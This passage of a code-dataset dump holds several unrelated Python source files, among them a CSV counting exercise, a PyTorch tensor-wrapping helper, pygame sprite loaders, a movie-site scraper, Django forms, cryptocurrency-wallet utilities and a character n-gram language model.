)\n","sub_path":"aiidalab_qe/app/structures.py","file_name":"structures.py","file_ext":"py","file_size_in_byte":5874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"331372746","text":"# 4 通过 python 读写 excel\n# 作业:\n# 1、读取 csv 中的第 12 列,并统计检查部位有多少种。\n# 2、将统计的检查部位存入到一个新 scv 中,保存格式如:\n# 第一列部位 第二列数量\n# [胸部,平扫] 301\n# [胸部,平扫+增强] 109\nimport csv\n\nposition = []\nposition1 = []\n\nwith open('F:/培训数据/1.4数据/data805.csv', 'r', encoding='utf8', newline='') as csvfile:\n reader = csv.reader(csvfile)\n for i in reader:\n position.append(i[11])\n for i in position:\n if i not in position1:\n position1.append(i)\n print('检查部位一共有{}种'.format(len(position)))\n title = ['部位','数量']\n demon = open('./demon.csv', 'w', newline='', encoding='utf8')\n w = csv.writer(demon)\n w.writerow(title)\n for i in position1:\n nums = position.count(i)\n x = [i,nums]\n w.writerow(x)\n","sub_path":"98.培训题/04.read_csv.py","file_name":"04.read_csv.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"521353544","text":"import copy\nimport torch\nfrom torch.autograd import Variable\n\ndef wrap(y, dtype='float'):\n y_wrap = Variable(torch.from_numpy(y))\n if dtype=='float':\n y_wrap = y_wrap.float()\n elif dtype == 'long':\n y_wrap = y_wrap.long()\n if torch.cuda.is_available():\n y_wrap = y_wrap.cuda()\n return y_wrap\n\ndef unwrap(y_wrap):\n if y_wrap.is_cuda:\n y = y_wrap.cpu().data.numpy()\n else:\n y = y_wrap.data.numpy()\n return y\n\ndef wrap_X(X):\n X_wrap = copy.deepcopy(X)\n for jet in X_wrap:\n jet[\"content\"] = wrap(jet[\"content\"])\n return X_wrap\n\ndef unwrap_X(X_wrap):\n X_new = []\n for jet in X_wrap:\n jet[\"content\"] = unwrap(jet[\"content\"])\n X_new.append(jet)\n return X_new\n","sub_path":"code/jets/data_ops/wrapping.py","file_name":"wrapping.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"62650696","text":"import sys\n\ncnt=0\nwith open(sys.argv[1],'r') as handle:\n for line in handle:\n if line.startswith('#'):\n continue\n splitted = line.strip().split('\\t')\n if splitted[6]=='PASS':\n cnt+=1\n\nprint(cnt)\n\nre_cnt=0\nl = []\nd ={}\nwith open(sys.argv[1],'r') as handle:\n for line in handle:\n if line.startswith('#'):\n continue\n splitted = line.strip().split('\\t')\n if splitted[2].startswith('rs'):\n chrom = splitted[0]\n pos = splitted[1]\n id_ = splitted[2]\n ref = splitted[3]\n alt = splitted[4]\n print(f'{chrom}-{pos}-{id_}-{ref}-{alt}')\n \n\n\n\n","sub_path":"read_vcf2.py","file_name":"read_vcf2.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"607787530","text":"from Engine.geometry import Vec2d\nfrom Engine.config import get_path\nfrom Engine.config import DEBUG\n\nimport pygame\n\nimport os\nfrom math import ceil\n\n\ndef load_sound(path, volume=1, ext='ogg'):\n fp = get_path(path + '.' + ext)\n s = pygame.mixer.Sound(fp)\n s.set_volume(volume)\n return s\n\n\ndef load_image(path, alpha=True):\n surface = pygame.image.load(get_path(path))\n return surface.convert_alpha() if alpha else surface.convert()\n\n\ndef cast_image(source, center=None, size_inc=1):\n \"\"\"\n Обрезать по содержимому, центрировать и масштабировать изображение.\n :param source: pygame.Surface\n :param center: (x, y)\n :param size_inc: int\n :return: pygame.Surface, (x, y) - image shift\n \"\"\"\n i_size = source.get_size()\n if center is None:\n center = [e / 2 for e in i_size]\n else:\n if center[0] is None:\n center[0] = i_size[0] / 2\n if center[1] is None:\n center[1] = i_size[1] / 2\n # Область, которую есть смысл отображать.\n b_rect = source.get_bounding_rect()\n # Её размер после масштабирования.\n b_size = ceil(Vec2d(b_rect.size) * size_inc)\n # Половина.\n h_size = b_size / 2\n # Центр обрезанного и масштабированного изображения относительно просто обрезанного.\n img_center = ceil((Vec2d(center) - b_rect.topleft) * size_inc)\n # Вектор масштабирования, вдоль которого растягивается новая поверхность,\n # чтобы центрированное изображение вместилось.\n inc_vector = abs(img_center - h_size)\n hf_size = h_size + inc_vector\n tl = hf_size - img_center\n\n bs = source.subsurface(b_rect)\n img = pygame.Surface(hf_size * 2).convert_alpha()\n img.fill((255, 255, 255, 0))\n img.blit(pygame.transform.scale(bs, b_size),\n tl)\n\n if DEBUG.DRAW:\n r = img.get_rect()\n r.w -= 2\n r.h -= 2\n pygame.draw.rect(img, (255, 0, 0), r, 2)\n return img, -img_center\n\n\ndef load_frames(path):\n frames = []\n f_path = get_path(path)\n for f in os.listdir(f_path):\n fp = os.path.join(f_path, f)\n if f.endswith('.png') and os.path.isfile(fp):\n frames.append(load_image(fp))\n return frames\n\n\n# def cast_frames(source, centers, size_incs):\n# frames = []\n# c0 = Vec2d(0, 0)\n# for n, f in enumerate(source):\n# b_rect = f.get_bounding_rect()\n# s_inc = size_incs[n]\n# b_size = Vec2d(b_rect.size) * s_inc\n# img = pygame.Surface(b_size).convert_alpha()\n# img.fill((255, 255, 255, 0))\n# c = Vec2d(centers[n] if centers[n] is not None else b_size / 2) * s_inc\n# tl = b_size / 2 - c\n# if n == 0:\n# c0 = c\n# img.blit(pygame.transform.scale(f,\n# [ceil(e * s_inc) for e in f.get_size()]),\n# tl)\n# pygame.draw.rect(img, (255, 0, 0), img.get_rect(), 2)\n# frames.append(img)\n# return frames, c0\n\ndef cast_frames(source, centers, size_incs):\n \"\"\"\n Обрезать по содержимому, центрировать и масштабировать кадры.\n :param source: pygame.Surface\n :param centers: [(x, y), ...]\n :param size_incs: [int, ...]\n :return: [pygame.Surface, ...], (x, y) - image shift\n \"\"\"\n frames = []\n c0 = Vec2d(0, 0)\n for n, f in enumerate(source):\n i_size = f.get_size()\n center = centers[n]\n size_inc = size_incs[n]\n if center is None:\n center = [e / 2 for e in i_size]\n else:\n if center[0] is None:\n center[0] = i_size[0] / 2\n if center[1] is None:\n center[1] = i_size[1] / 2\n b_rect = f.get_bounding_rect()\n b_size = ceil(Vec2d(b_rect.size) * size_inc)\n h_size = b_size / 2\n img_center = ceil((Vec2d(center) - b_rect.topleft) * size_inc)\n if n == 0:\n c0 = -img_center\n inc_vector = abs(img_center - h_size)\n hf_size = h_size + inc_vector\n tl = hf_size - img_center\n\n bs = f.subsurface(b_rect)\n img = pygame.Surface(hf_size * 2).convert_alpha()\n img.fill((255, 255, 255, 0))\n img.blit(pygame.transform.scale(bs, b_size),\n tl)\n if DEBUG.DRAW:\n r = img.get_rect()\n r.w -= 2\n r.h -= 2\n pygame.draw.rect(img, (255, 0, 0), r, 2)\n frames.append(img)\n return frames, c0\n\n\nclass GObject:\n\n def __init__(self, obj):\n if not isinstance(obj, pygame.Surface):\n frames = obj\n self._frames = frames[:]\n self._len = len(frames)\n else:\n self._frames = [obj]\n self._len = 1\n self._animated = False\n self._size = self._frames[0].get_size()\n self.n = 0\n self._fps = 0\n self._ft = 0\n self.cycles = 0\n self.last_upd = 0\n self.start_que = []\n self.end_que = []\n\n @property\n def frames(self):\n return self._frames\n\n @frames.setter\n def frames(self, frames):\n self._frames = frames\n self._len = len(frames)\n self._size = frames[0].get_size()\n\n def get_size(self):\n return self._size\n\n @property\n def fps(self):\n return self._fps\n\n @fps.setter\n def fps(self, fps):\n self._fps = fps\n if fps == 0:\n self._animated = False\n self._ft = 0\n else:\n self._animated = True\n self._ft = 1000 / fps\n\n @property\n def frame_time(self):\n return self._ft\n\n @frame_time.setter\n def frame_time(self, ft):\n self._ft = ft\n self._fps = 1000 / ft\n\n def on(self):\n self._animated = True\n\n def off(self):\n self._animated = False\n\n def update(self, upd_time):\n self.each_step()\n if self._animated:\n self.last_upd += upd_time\n if self.last_upd >= self._ft:\n if self.n == 0:\n self.start_cycle()\n self.n += 1\n if self.n >= self._len:\n self.end_cycle()\n self.n = 0\n self.cycles += 1\n self.last_upd -= self._ft\n\n def each_step(self):\n \"\"\"\n Переопределяемый.\n \"\"\"\n pass\n\n def que_start(self, func):\n \"\"\"\n Выполняет функцию в начале каждого цикла анимации.\n \"\"\"\n self.start_que.append(func)\n\n def start_cycle(self):\n for func in self.start_que:\n func()\n\n def que_end(self, func):\n \"\"\"\n Выполняет функцию в конце каждого цикла анимации.\n \"\"\"\n self.end_que.append(func)\n\n def end_cycle(self):\n for func in self.end_que:\n func()\n\n def read(self):\n return self._frames[self.n]\n\n image = property(read)\n\n def set_ind(self, n):\n self.n = n\n\n def __getitem__(self, ind):\n return self._frames[ind]\n\n def __repr__(self):\n return 'GObject([%s])' % (', '.join(str(e) for e in self._frames),)\n\n\ndef load_model(path):\n \"\"\"\n Универсальная функция загрузки как для изображений, так и анимаций.\n :param path: str\n :return: pygame.Surface / [pygame.Surface, ...]\n \"\"\"\n fp = get_path(path)\n if os.path.isfile(fp + '.png'):\n return load_image(path + '.png')\n elif os.path.isdir(fp):\n return load_frames(fp)\n\n\ndef cast_model(source, cs=None, sis=1):\n \"\"\"\n Универсальная функция выравнивания.\n Преобразует аргументы и избирательно применяет cast_image / cast_image.\n :param source: pygame.Surface / [pygame.Surface, ...]\n :param cs: (x, y) / [(x, y), ...] - центр(ы)\n :param sis: int / [int, ...] - коэффициент(ы) масштабирования\n :return: pygame.Surface / [pygame.Surface, ...]\n \"\"\"\n if not isinstance(source, pygame.Surface):\n ln = len(source)\n if cs is None or hasattr(cs[0], '__int__'):\n cs = [cs] * ln\n else:\n while len(cs) < ln:\n cs.append(None)\n if hasattr(sis, '__int__'):\n sis = [sis] * ln\n else:\n while len(sis) < ln:\n sis.append(sis[-1])\n return cast_frames(source, cs, sis)\n else:\n return cast_image(source, cs, sis)\n","sub_path":"loading.py","file_name":"loading.py","file_ext":"py","file_size_in_byte":8854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"535193542","text":"\n# coding: utf-8\n\n# In[165]:\n\n\nimport requests\nimport csv\nfrom bs4 import BeautifulSoup\n\n\n# In[166]:\n\n\nr = requests.get('http://movie.mtime.com/comingsoon/#comingsoon')\nr.encoding = 'utf8'\n\n\n# In[167]:\n\n\nr\n\n\n# In[168]:\n\n\nhtml_str = r.text\n\n\n# In[169]:\n\n\nhtml_str\n\n\n# In[170]:\n\n\ndocument = BeautifulSoup(html_str)\n\n\n# In[171]:\n\n\ndocument\n\n\n# In[172]:\n\n\ntitles = document.find_all('div',attrs = {'class':'moviebox'})\n\n\n# In[173]:\n\n\nlistname = []\nfor title in titles:\n name = title.find('h3')\n listname.append(name.text)\n\n\n# In[174]:\n\n\nlistname\n\n\n# In[175]:\n\n\ndates = document.find_all('div',attrs = {'class':'moviebox'})\n\n\n# In[176]:\n\n\nlistdate = []\nfor date in dates:\n time = date.find('p')\n listdate.append(time.text)\n\n\n# In[177]:\n\n\nlistdate\n\n\n# In[178]:\n\n\nkinds = document.find_all('div',attrs = {'class':'moviebox'})\n\n\n# In[179]:\n\n\nlistkind = []\nfor kind in kinds:\n form = kind.find('p')\n listkind.append(form.text)\n\n\n# In[180]:\n\n\nlistkind\n\n\n# In[182]:\n\n\nnumbers = document.find_all('div', attrs = {'class':\"fr\"})\n\n\n# In[183]:\n\n\nlistnumber = []\nfor number in numbers:\n people = number.find('i')\n if people.text!= \"\":\n listnumber.append(people.text)\n\n\n# In[184]:\n\n\nlistnumber\n\n\n# In[186]:\n\n\nwith open('HW2.csv','w') as f:\n writer = csv.writer(f)\n writer.writerows(zip(listname,listdate,listnumber))\n\n","sub_path":"homework2/HW2_codes.py","file_name":"HW2_codes.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"246768553","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /tmp/pip-install-jkXn_D/django/django/utils/module_loading.py\n# Compiled at: 2018-07-11 18:15:30\nimport imp, os, sys\nfrom django.core.exceptions import ImproperlyConfigured\nfrom django.utils import six\nfrom django.utils.importlib import import_module\n\ndef import_by_path(dotted_path, error_prefix=''):\n \"\"\"\n Import a dotted module path and return the attribute/class designated by the\n last name in the path. Raise ImproperlyConfigured if something goes wrong.\n \"\"\"\n try:\n module_path, class_name = dotted_path.rsplit('.', 1)\n except ValueError:\n raise ImproperlyConfigured(\"%s%s doesn't look like a module path\" % (\n error_prefix, dotted_path))\n\n try:\n module = import_module(module_path)\n except ImportError as e:\n msg = '%sError importing module %s: \"%s\"' % (\n error_prefix, module_path, e)\n six.reraise(ImproperlyConfigured, ImproperlyConfigured(msg), sys.exc_info()[2])\n\n try:\n attr = getattr(module, class_name)\n except AttributeError:\n raise ImproperlyConfigured('%sModule \"%s\" does not define a \"%s\" attribute/class' % (\n error_prefix, module_path, class_name))\n\n return attr\n\n\ndef module_has_submodule(package, module_name):\n \"\"\"See if 'module' is in 'package'.\"\"\"\n name = ('.').join([package.__name__, module_name])\n try:\n return sys.modules[name] is not None\n except KeyError:\n pass\n\n try:\n package_path = package.__path__\n except AttributeError:\n return False\n\n for finder in sys.meta_path:\n if finder.find_module(name, package_path):\n return True\n\n for entry in package_path:\n try:\n finder = sys.path_importer_cache[entry]\n if finder is None:\n try:\n file_, _, _ = imp.find_module(module_name, [entry])\n if file_:\n file_.close()\n return True\n except ImportError:\n continue\n\n else:\n if finder.find_module(name):\n return True\n continue\n except KeyError:\n for hook in sys.path_hooks:\n try:\n finder = hook(entry)\n if finder.find_module(name):\n return True\n break\n except ImportError:\n continue\n\n else:\n if os.path.isdir(entry):\n try:\n file_, _, _ = imp.find_module(module_name, [entry])\n if file_:\n file_.close()\n return True\n except ImportError:\n pass\n\n else:\n return False\n\n return","sub_path":"pycfiles/ka_lite_static-0.17.5-py2-none-any/module_loading.py","file_name":"module_loading.py","file_ext":"py","file_size_in_byte":2987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"130427879","text":"from django import forms\nfrom djangoeditorwidgets.widgets import TinymceWidget, MonacoEditorWidget\nfrom .models import TextModel, XMLModel, JSONModel\n\n\nclass TextModelForm(forms.ModelForm):\n class Meta:\n model = TextModel\n fields = \"__all__\"\n widgets = {\"text\": TinymceWidget()}\n\n\nclass JsonModelForm(forms.ModelForm):\n class Meta:\n model = JSONModel\n fields = \"__all__\"\n widgets = {\n \"_text\": MonacoEditorWidget(\n attrs={\"data-wordwrap\": \"on\", \"data-language\": \"json\"}\n )\n }\n\n\nclass XmlModelForm(forms.ModelForm):\n class Meta:\n model = XMLModel\n fields = \"__all__\"\n widgets = {\n \"_text\": MonacoEditorWidget(\n attrs={\"data-wordwrap\": \"on\", \"data-language\": \"xml\"}\n )\n }\n","sub_path":"example/myapp/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"8712659","text":"\"\"\"Author: Trinity Core Team \n\nMIT License\n\nCopyright (c) 2018 Trinity\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\"\"\"\n\nfrom trinity import Configure\nfrom blockchain.interface import get_balance\nimport re\nimport hashlib\nfrom common.log import LOG\nfrom common.number import TrinityNumber\nfrom lightwallet.Settings import settings\nimport datetime\nimport requests\n\n\nclass SupportAssetType(object):\n \"\"\"\n\n \"\"\"\n SupportAssetType = [\"TNC\"]\n\n @classmethod\n def get_asset(cls, asset_type):\n if asset_type.upper() == \"ETH\":\n return \"ETH\", None\n elif asset_type.upper() == \"TNC\":\n return settings.TNC, settings.TNC_abi\n else:\n return None , None # ToDo\n\n @classmethod\n def get_asset_decimals(cls, asset_type):\n if asset_type.upper() == \"ETH\":\n return 18\n elif asset_type.upper() == \"TNC\":\n return 8\n else:\n return None # ToDo\n\n\nclass DepositAuth(object):\n \"\"\"\n \"\"\"\n DefaultDeposit = 1\n LastGetTime = None\n DateSource = \"https://api.coinmarketcap.com/v2/ticker/2443/?convert=USD\"\n\n @classmethod\n def query_deposit(cls):\n \"\"\"\n\n :return:\n \"\"\"\n try:\n result = requests.get(cls.DateSource)\n if not result.ok:\n return None\n return result.json()[\"data\"]\n except Exception as e:\n LOG.error(str(e))\n return None\n\n @classmethod\n def calculate_deposit_by_usd(cls):\n \"\"\"\n\n :return:\n \"\"\"\n return cls.DefaultDeposit\n # return 800*1.03**(abs((datetime.date.today()-datetime.date(2018,1,15)).days)//365)\n\n @classmethod\n def calculate_deposit(cls):\n \"\"\"\n\n :return:\n \"\"\"\n\n deposit_info = cls.query_deposit()\n try:\n tnc_price_usdt = deposit_info[\"quotes\"][\"USD\"][\"price\"]\n deposit_limit = int(cls.calculate_deposit_by_usd() / tnc_price_usdt)\n return deposit_limit if deposit_limit >0 else 1\n except Exception as e:\n LOG.error(str(e))\n return cls.DefaultDeposit\n\n\n @classmethod\n def deposit_limit(cls):\n \"\"\"\n\n :return:\n \"\"\"\n\n # deposit = cls.calculate_deposit()\n # cls.DefaultDeposit = deposit\n # cls.LastGetTime = datetime.date.today()\n\n return cls.DefaultDeposit\n\n\ndef to_aes_key(password):\n \"\"\"\n\n :param password:\n :return:\n \"\"\"\n\n password_hash = hashlib.sha256(password.encode('utf-8')).digest()\n return hashlib.sha256(password_hash).digest()\n\n\n\n# def pubkey_to_address(publickey: str):\n# \"\"\"\n#\n# :param publickey:\n# :return:\n# \"\"\"\n# script = b'21' + publickey.encode() + b'ac'\n# script_hash = Crypto.ToScriptHash(script)\n# address = Crypto.ToAddress(script_hash)\n# return address\n\n\ndef sign(wallet, context):\n \"\"\"\n\n :param wallet:\n :param context:\n :return:\n \"\"\"\n res = wallet.SignContent(context)\n return res\n\n\ndef get_arg(arguments, index=0, convert_to_int=False):\n \"\"\"\n\n :param arguments:\n :param index:\n :param convert_to_int:\n :param do_parse:\n :return:\n \"\"\"\n\n try:\n arg = arguments[index].strip()\n if convert_to_int:\n return int(arg)\n return arg\n except Exception as e:\n pass\n return None\n\n\ndef get_asset_type_name(asset_type):\n \"\"\"\n\n :param asset_type:\n :return:\n \"\"\"\n asset= Configure.get(\"AssetType\")\n for key, value in asset.items():\n if value.replace(\"0x\",\"\") == asset_type.replace(\"0x\",\"\"):\n return key\n else:\n continue\n return None\n\n\ndef get_asset_type_id(asset_name):\n \"\"\"\n\n :param asset_name:\n :return:\n \"\"\"\n return Configure.get(\"AssetType\").get(asset_name.upper())\n\ndef get_support_asset():\n return SupportAssetType.SupportAssetType\n\ndef check_support_asset_type(asset_type):\n \"\"\"\n\n :param asset_type:\n :return:\n \"\"\"\n if asset_type:\n if asset_type.upper() in SupportAssetType.SupportAssetType:\n return True\n else:\n return False\n else:\n return False\n\n\ndef check_onchain_balance(pubkey, asset_type, deposit):\n \"\"\"\n\n :param wallet:\n :param asset_type: eg TNC\n :param deposit:\n :return:\n \"\"\"\n asset_symbol, asset_abi = SupportAssetType.get_asset(asset_type)\n balance = get_balance(pubkey, asset_type, asset_symbol, asset_abi)\n balance = TrinityNumber(str(balance)).number\n if balance is not None and deposit <= balance:\n return True\n else:\n return False\n\n\ndef is_correct_uri(uri):\n \"\"\"\n\n :param uri:\n :return:\n \"\"\"\n uri = uri if not uri.startswith('0x') else uri.replace('0x', '')\n return re.match(r\"[0-9|a-f|A-F]{40}@\\d+\\.\\d+\\.\\d+\\.\\d+:\\d+\", uri.strip()) is not None\n\n\ndef check_partner(wallet, partner):\n \"\"\"\n\n :param wallet:\n :param partner:\n :return:\n \"\"\"\n\n if is_correct_uri(partner):\n par_pubkey, ip = partner.strip().split(\"@\")\n if par_pubkey == wallet.address:\n return False\n else:\n return True\n else:\n return False\n\n\ndef get_wallet_info(wallet):\n \"\"\"\n\n :param wallet:\n :return: message dict\n \"\"\"\n balance = {}\n # for i in Configure[\"AssetType\"].keys():\n # b = get_balance(wallet.address, i.upper(), settings.TNC, settings.TNC)\n # balance[i] = b\n balance[\"ETH\"] = wallet.eth_balance\n balance[\"TNC\"] = wallet.tnc_balance\n message = {\n \"Publickey\": wallet.address,\n \"alias\": Configure[\"alias\"],\n \"AutoCreate\": Configure[\"AutoCreate\"],\n \"Ip\": \"{}:{}\".format(Configure.get(\"NetAddress\"),\n Configure.get(\"NetPort\")),\n \"MaxChannel\": Configure[\"MaxChannel\"],\n \"Channel\": Configure[\"Channel\"],\n \"Balance\": balance,\n }\n return message\n\n\ndef convert_number_auto(asset_type, number: int or float or str):\n if isinstance(number, str):\n number = float(number)\n return int(number)\n\n\ndef convert_float(number, asset_type=\"TNC\"):\n \"\"\"\n\n :param number:\n :param asset_type:\n :return:\n \"\"\"\n decimals = SupportAssetType.get_asset_decimals(asset_type)\n if decimals is None:\n raise Exception(\"NoSupportAsset\")\n return round(float(number),decimals)\n\n\ndef check_float_decimals(number, asset_type):\n \"\"\"\n\n :param number:\n :param asset_type:\n :return:\n \"\"\"\n decimals = SupportAssetType.get_asset_decimals(asset_type)\n if decimals is None:\n return False\n num = str(number).split(\".\")\n if len(num) ==1:\n return True\n elif len(num) == 0:\n return False\n elif len(num[1])> decimals:\n return False\n return True\n\n\ndef get_magic():\n \"\"\"\n get the configured magic\n :return:\n \"\"\"\n magic = Configure.get('Magic')\n return magic.get('Block').__str__() + magic.get('Trinity').__str__()\n\n\ndef is_valid_deposit(asset_type, deposit, spv_wallet=False):\n \"\"\"\n\n :param asset_type:\n :param deposit:\n :param spv_wallet:\n :return:\n \"\"\"\n if len(asset_type) >10:\n asset_type = get_asset_type_name(asset_type)\n else:\n asset_type = asset_type.upper()\n\n if not asset_type:\n LOG.error('Must specified the asset type. Current value is None')\n return False\n\n if spv_wallet:\n try:\n max_deposit_configure = Configure.get(\"Channel\").get(asset_type).get(\"CommitMaxDeposit\")\n except Exception as e:\n LOG.warn(str(e))\n max_deposit_configure = 0\n try:\n min_deposit_configure = Configure.get(\"Channel\").get(asset_type.upper()).get(\"CommitMinDeposit\")\n except Exception as e:\n LOG.warn(str(e))\n min_deposit_configure = 0\n\n max_deposit = TrinityNumber(str(max_deposit_configure)).number\n min_deposit = TrinityNumber(str(min_deposit_configure)).number\n\n if min_deposit > 0 and max_deposit > 0:\n return min_deposit <= deposit <= max_deposit, None\n\n elif 0 >= min_deposit:\n LOG.warn('CommitMinDeposit is set as an illegal value<{}>.'.format(str(min_deposit_configure)))\n return deposit <= max_deposit, None\n elif 0 >= max_deposit:\n LOG.warn('CommitMaxDeposit is set as an illegal value<{}>.'.format(str(max_deposit_configure)))\n return deposit >= min_deposit, None\n else:\n if asset_type == \"TNC\":\n deposit_l = DepositAuth.deposit_limit()\n deposit_cmp = TrinityNumber(str(deposit_l)).number\n\n if deposit <= deposit_cmp:\n return False, \"Node wallet channel deposit should larger than {}, \" \\\n \"but now is {}\".format(str(deposit_l),str(deposit/pow(10, 8)))\n return True, None\n\n\n\n\n\nif __name__ == \"__main__\":\n # print(pubkey_to_address(\"03a6fcaac0e13dfbd1dd48a964f92b8450c0c81c28ce508107bc47ddc511d60e75\"))\n # print(Crypto.Hash160(\"02cebf1fbde4786f031d6aa0eaca2f5acd9627f54ff1c0510a18839946397d3633\".encode()))\n import time\n print(time.time())\n r=convert_float(1.1234567890)\n print(type(r))\n print(time.time())\n float(\"1.234567890\")\n print(time.time())","sub_path":"wallet/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":10336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"127301065","text":"from collections import *\nfrom random import random\nimport numpy as np\nimport time\nimport math\nimport codecs\nimport re\nfrom itertools import permutations, product\n\ndef get_V(fname):\n data = codecs.open(fname, encoding='utf-8', errors='replace').read()\n vocab = ['~', 'UNK']\n for char in data:\n if char not in vocab:\n vocab.append(char)\n return len(vocab)\n\ndef train_char_lm(fname, Vocab, order=4, add_k=1.0):\n data = codecs.open(fname, encoding='utf-8', errors='replace').read()\n pad = \"~\" * order\n data = \"\\n\".join([pad + line for line in data.split(\"\\n\")])\n lm = defaultdict(Counter)\n for i in range(len(data)-order):\n history, char = data[i:i+order], data[i+order]\n lm[history][char] += 1\n\n def normalize(counter):\n s = float(sum(counter.values()))\n return [(c , (cnt + add_k) / (s + add_k * Vocab)) for c,cnt in counter.items()] + [('UNK', add_k/(s + add_k * Vocab))]\n\n outlm = {hist: normalize(chars) for hist, chars in lm.items()}\n\n return outlm\n\ndef generate_letter(lm, history, order):\n history = history[-order:]\n dist = lm[history]\n x = random()\n for c,v in dist:\n x = x - v\n if x <= 0: return c\n\ndef generate_text(lm, order, nletters=500):\n history = \"~\" * order\n out = []\n for i in range(nletters):\n c = generate_letter(lm, history, order)\n history = history[-order:] + c\n out.append(c)\n return \"\".join(out)\n\ndef perplexity(test_filename, lm, order=4):\n try:\n test = codecs.open(test_filename, encoding='utf-8', errors='replace').read()\n except FileNotFoundError:\n test = test_filename\n pad = \"~\" * order\n test = \"\\n\".join([pad + line for line in test.split(\"\\n\")])\n dic_model = {key:dict(lm[key]) for key in lm}\n p = 0.0\n for i in range(order, len(test)):\n try:\n p += math.log10(1 / dic_model[test[i-order:i]][test[i]])\n except KeyError:\n try:\n p += math.log10(1 / dic_model[test[i-order:i]]['UNK'])\n except KeyError:\n p += math.log10(V)\n return pow(10, p/len(test))\n\ndef calculate_prob_with_backoff(char, history, lms, lambdas, Vocab):\n p = 0.0\n for lm, coeff in zip(lms, lambdas):\n dic_model = {key: dict(lm[key]) for key in lm}\n order = len(list(lm.keys())[0])\n try:\n p += dic_model[history[-order:]][char] * coeff\n except KeyError:\n try:\n p += dic_model[history[-order:]]['UNK'] * coeff\n except KeyError:\n p += (1 / Vocab) * coeff\n return p\n\ndef PP_with_backoff(test_filename, Vocab, lms, lambdas, max_order):\n try:\n data = codecs.open(test_filename, encoding='utf-8', errors='replace').read()\n except FileNotFoundError:\n data = test_filename\n pad = \"~\" * max_order\n data = \"\\n\".join([pad + line for line in data.split(\"\\n\")])\n p = 0.0\n for i in range(max_order, len(data)):\n p += math.log10(1 / calculate_prob_with_backoff(data[i], data[i - max_order:i], lms, lambdas, Vocab))\n return pow(10, p/len(data))\n\nif __name__ == '__main__':\n\n V = get_V(\"speeches.txt\")\n\n t0 = time.time()\n print('Training language model: 0-gram')\n lm0 = train_char_lm(\"speeches.txt\", V, order=0)\n print('Training language model: 1-grams')\n lm1 = train_char_lm(\"speeches.txt\", V, order=1)\n print('Training language model: 2-grams')\n lm2 = train_char_lm(\"speeches.txt\", V, order=2)\n print('Training language model: 3-grams')\n lm3 = train_char_lm(\"speeches.txt\", V, order=3)\n print('Training language model: 4-grams')\n lm4 = train_char_lm(\"speeches.txt\", V, order=4)\n print('Perplexity of the models on the file trump_tweets.txt:')\n for i in range(5):\n lm = globals()[\"lm\" + str(i)]\n print(\"lm\" + str(i) + \":\")\n print(perplexity(\"trump_tweets.txt\", lm, i))\n print('Perplexity of the models on the file trump_victory.txt:')\n for i in range(5):\n lm = globals()[\"lm\" + str(i)]\n print(\"lm\" + str(i) + \":\")\n print(perplexity(\"trump_victory.txt\", lm, i))\n","sub_path":"HW6/PART3/trump_ngrams.py","file_name":"trump_ngrams.py","file_ext":"py","file_size_in_byte":3850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"309744818","text":"import os \r\nimport tensorflow as tf \r\nimport pandas as pd \r\nimport matplotlib.pyplot as plt \r\nimport numpy as np\r\n\r\n'''\r\nIST 597: Foundations of Deep Learning\r\nProblem 1: Univariate Regression\r\n\r\n\r\n This program is free software: you can redistribute it and/or modify\r\n it under the terms of the GNU General Public License as published by\r\n the Free Software Foundation, either version 3 of the License, or\r\n (at your option) any later version.\r\n\r\n This program is distributed in the hope that it will be useful,\r\n but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n GNU General Public License for more details.\r\n\r\n You should have received a copy of the GNU General Public License\r\n along with this program. If not, see .\r\n'''\r\n\r\n# NOTE: you will need to tinker with the meta-parameters below yourself (do not think of them as defaults by any means)\r\n# NOTE: You can work in pure eager mode or Keras or even hybrid\r\n# NOTE : Use tf.Variable when using gradientTape, if you build your own gradientTape then use simple linear algebra using numpy or tensorflow math\r\n\r\n# meta-parameters for program\r\ntrial_name = 'p1_fit' # will add a unique sub-string to output of this program\r\ndegree = 12 # p, order of model\r\nbeta = 0.0001 # regularization 